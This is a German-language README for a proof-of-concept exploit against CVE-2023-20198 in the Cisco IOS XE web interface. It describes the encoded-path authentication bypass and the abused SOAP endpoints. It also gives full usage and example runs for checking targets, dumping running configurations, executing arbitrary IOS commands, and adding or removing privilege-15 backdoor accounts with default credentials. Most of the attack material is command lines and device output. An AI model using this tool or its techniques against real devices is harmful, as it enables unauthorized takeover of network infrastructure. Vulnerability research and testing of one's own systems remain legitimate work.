
Proof-of-concept-Exploit für CVE-2023-20198, der auf die Cisco IOS XE Web-Benutzeroberfläche abzielt. Ermöglicht nicht authentifizierte Remote-Befehlsausführung, Konfigurationsabruf und Rechteausweitung über SOAP-Endpunkte.
Exploit PoC für CVE-2023-20198
CVE-2023-20198 zeichnet sich durch eine fehlerhafte Pfadvalidierung aus, um die Nginx-Filterung zu umgehen und den webui_wsma_http-Webendpunkt ohne Authentifizierung zu erreichen.
Durch Umgehung der Authentifizierung am Endpunkt kann ein Angreifer beliebige Cisco IOS-Befehle ausführen oder Konfigurationsänderungen mit Privilege-15-Rechten vornehmen.
Ciscos Untersuchung der aktiven Ausnutzung der zuvor nicht offengelegten Schwachstelle ergab, dass Angreifer zuerst CVE-2023-20198 ausnutzten, um einen neuen Benutzer mit Privilege-Level 15 hinzuzufügen. Weitere Angriffe umfassten die Ausnutzung von CVE-2023-20273, um zum zugrunde liegenden Linux-OS-Benutzer root zu eskalieren und so die Implantation zu ermöglichen.
Dieser PoC nutzt CVE-2023-20198 aus, um zwei verschiedene XML SOAP-Endpunkte zu verwenden:
Die Optionen zur Schwachstellenprüfung, Konfiguration und Befehlsausführung zielen alle auf den cisco:wsma-exec SOAP-Endpunkt ab, um Befehle in das execCLI-Element-Tag einzufügen.
Die Option zum Hinzufügen eines Benutzers zielt auf den cisco:wsma-config SOAP-Endpunkt ab, um eine Konfigurationsänderung durchzuführen und das Privilege-15-Konto hinzuzufügen. Dieser Endpunkt könnte [miss]braucht werden, um andere Konfigurationsänderungen vorzunehmen, aber das liegt außerhalb des Rahmens dieses PoC.
Der Missbrauch des cisco:wsma-exec SOAP-Endpunkts stammt aus der nuclei-Vorlage
Der Missbrauch des cisco:wsma-config SOAP-Endpunkts stammt aus dem Horizon3AI-PoC
Hinweis: Ich habe keine der ursprünglichen Forschungen oder PoC-Entwicklungen für diese CVE durchgeführt. Siehe den Abschnitt Referenzen für die Quellenangabe.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Um auf CVE-2023-20198 zu prüfen, versucht -c, die Schwachstelle auszunutzen, um uname -a auszuführen.
Beispiel:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
Die Option -g führt sh run aus, um die laufende Konfiguration abzurufen
Beispiel:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Mit der Option -e können beliebige Cisco IOS-Befehle ausgeführt werden.
Bei der Verwendung zur Konfigurationsänderung ist äußerste Vorsicht geboten. Es gibt keine Eingabevalidierung und Änderungen werden sofort auf die laufende Konfiguration angewendet.
Beispiel:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
Die Option -a kann verwendet werden, um ein neues Privilege-15-Benutzerkonto zu erstellen, wobei optional der Kontoname und das Passwort mit -u bzw. -p angegeben werden können.
Beispiel:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
Die Option -d kann verwendet werden, um ein Benutzerkonto vom Gerät zu entfernen und respektiert den mit -u angegebenen Benutzernamen.
Vorsicht ist geboten, um sicherzustellen, dass kein legitimes Konto gelöscht wird.
Dies wurde für Fälle hinzugefügt, in denen Shell-/WebUI-Zugriff auf ein ausgenutztes Cisco nicht erlangt werden kann. Es wurde beobachtet, dass das Hinzufügen eines Privilege-15-Benutzers keinen WebUI-Zugriff gewährt und dazu führen kann, dass Exploit-Artefakte auf den Hosts zurückbleiben.
Cisco Advisory
horizon3ai CVE-2023-20198 research
horizon3ai CVE-2023-20198 PoC